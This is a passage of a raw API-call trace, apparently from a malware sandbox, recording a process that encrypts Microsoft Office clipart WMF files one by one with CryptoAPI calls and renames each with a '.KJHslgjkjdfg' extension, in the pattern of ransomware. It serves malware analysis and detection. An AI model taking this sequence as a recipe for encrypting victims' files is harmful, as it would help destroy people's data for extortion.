[0191.742] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0191.742] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00788_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy00788_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00788_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy00788_.wmf.kjhslgjkjdfg")) returned 1 [0191.744] CloseHandle (hObject=0x114) returned 1 [0191.744] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79c77a00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6d43ce90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x79c77a00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2fdc, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SY00792_.WMF", cAlternateFileName="")) returned 1 [0191.745] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00792_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy00792_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0191.746] GetProcessHeap () returned 0x2a0000 [0191.746] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0191.746] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0191.746] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0191.746] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0191.749] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0191.749] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0191.749] GetProcessHeap () returned 0x2a0000 [0191.749] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0191.749] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0191.749] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0191.749] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0191.749] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0191.749] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0191.750] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0191.750] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0191.750] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0191.750] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0191.750] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0191.750] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.750] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x2fdc, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x2fdc, lpOverlapped=0x0) returned 1 [0191.751] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x2fe0, dwBufLen=0x2fe0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x2fe0) returned 1 [0191.751] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.751] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x2fe0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x2fe0, lpOverlapped=0x0) returned 1 [0191.752] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0191.752] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x30b4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.752] SetEndOfFile (hFile=0x114) returned 1 [0191.754] GetProcessHeap () returned 0x2a0000 [0191.754] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0191.754] GetProcessHeap () returned 0x2a0000 [0191.754] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0191.754] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00792_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy00792_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00792_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy00792_.wmf.kjhslgjkjdfg")) returned 1 [0191.756] CloseHandle (hObject=0x114) returned 1 [0191.756] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79c77a00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5aca0270, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x79c77a00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2764, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SY00795_.WMF", cAlternateFileName="")) returned 1 [0191.756] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00795_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy00795_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0191.758] GetProcessHeap () returned 0x2a0000 [0191.758] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0191.758] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0191.758] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0191.758] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xc, lpOverlapped=0x0) returned 1 [0191.760] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0191.760] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0191.760] GetProcessHeap () returned 0x2a0000 [0191.761] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0191.761] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0191.761] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0191.761] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0191.761] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0191.761] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0191.761] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0191.761] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0191.761] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0191.761] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0191.761] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0191.761] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.761] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x2764, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x2764, lpOverlapped=0x0) returned 1 [0191.762] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x2770, dwBufLen=0x2770 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x2770) returned 1 [0191.763] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.763] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x2770, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x2770, lpOverlapped=0x0) returned 1 [0191.763] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0191.763] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x2844, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.763] SetEndOfFile (hFile=0x114) returned 1 [0191.765] GetProcessHeap () returned 0x2a0000 [0191.765] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0191.765] GetProcessHeap () returned 0x2a0000 [0191.765] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0191.766] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00795_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy00795_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00795_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy00795_.wmf.kjhslgjkjdfg")) returned 1 [0191.767] CloseHandle (hObject=0x114) returned 1 [0191.767] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb5ec100, ftCreationTime.dwHighDateTime=0x1bd4ae4, ftLastAccessTime.dwLowDateTime=0x5aca0270, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb5ec100, ftLastWriteTime.dwHighDateTime=0x1bd4ae4, nFileSizeHigh=0x0, nFileSizeLow=0x9b0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SY00882_.WMF", cAlternateFileName="")) returned 1 [0191.768] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00882_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy00882_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0191.770] GetProcessHeap () returned 0x2a0000 [0191.770] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0191.770] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0191.770] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0191.770] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0191.770] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0191.770] GetProcessHeap () returned 0x2a0000 [0191.770] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0191.770] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0191.770] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0191.770] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0191.773] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0191.773] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0191.773] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0191.773] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0191.773] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0191.773] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0191.773] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0191.773] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.773] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x9b0, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x9b0, lpOverlapped=0x0) returned 1 [0191.773] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x9b0, dwBufLen=0x9b0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x9b0) returned 1 [0191.773] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.773] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x9b0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x9b0, lpOverlapped=0x0) returned 1 [0191.774] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0191.774] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xa84, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.774] SetEndOfFile (hFile=0x114) returned 1 [0191.776] GetProcessHeap () returned 0x2a0000 [0191.776] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0191.776] GetProcessHeap () returned 0x2a0000 [0191.776] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0191.776] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00882_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy00882_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00882_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy00882_.wmf.kjhslgjkjdfg")) returned 1 [0191.778] CloseHandle (hObject=0x114) returned 1 [0191.778] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79c77a00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5aca0270, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x79c77a00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x634, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SY01006_.WMF", cAlternateFileName="")) returned 1 [0191.778] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY01006_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy01006_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0191.780] GetProcessHeap () returned 0x2a0000 [0191.780] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0191.780] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0191.780] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0191.780] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xc, lpOverlapped=0x0) returned 1 [0191.782] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0191.782] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0191.782] GetProcessHeap () returned 0x2a0000 [0191.782] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0191.782] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0191.782] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0191.782] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0191.783] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0191.783] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0191.783] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0191.783] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0191.783] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0191.783] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0191.783] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0191.783] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.783] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x634, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x634, lpOverlapped=0x0) returned 1 [0191.783] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x640, dwBufLen=0x640 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x640) returned 1 [0191.783] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.783] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x640, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x640, lpOverlapped=0x0) returned 1 [0191.783] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0191.783] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x714, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.784] SetEndOfFile (hFile=0x114) returned 1 [0191.786] GetProcessHeap () returned 0x2a0000 [0191.786] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0191.786] GetProcessHeap () returned 0x2a0000 [0191.786] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0191.786] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY01006_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy01006_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY01006_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy01006_.wmf.kjhslgjkjdfg")) returned 1 [0191.788] CloseHandle (hObject=0x114) returned 1 [0191.789] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x865cd000, ftCreationTime.dwHighDateTime=0x1bd4be7, ftLastAccessTime.dwLowDateTime=0x5aca0270, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x865cd000, ftLastWriteTime.dwHighDateTime=0x1bd4be7, nFileSizeHigh=0x0, nFileSizeLow=0x2734, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SY01252_.WMF", cAlternateFileName="")) returned 1 [0191.789] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY01252_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy01252_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0191.790] GetProcessHeap () returned 0x2a0000 [0191.790] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0191.790] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | 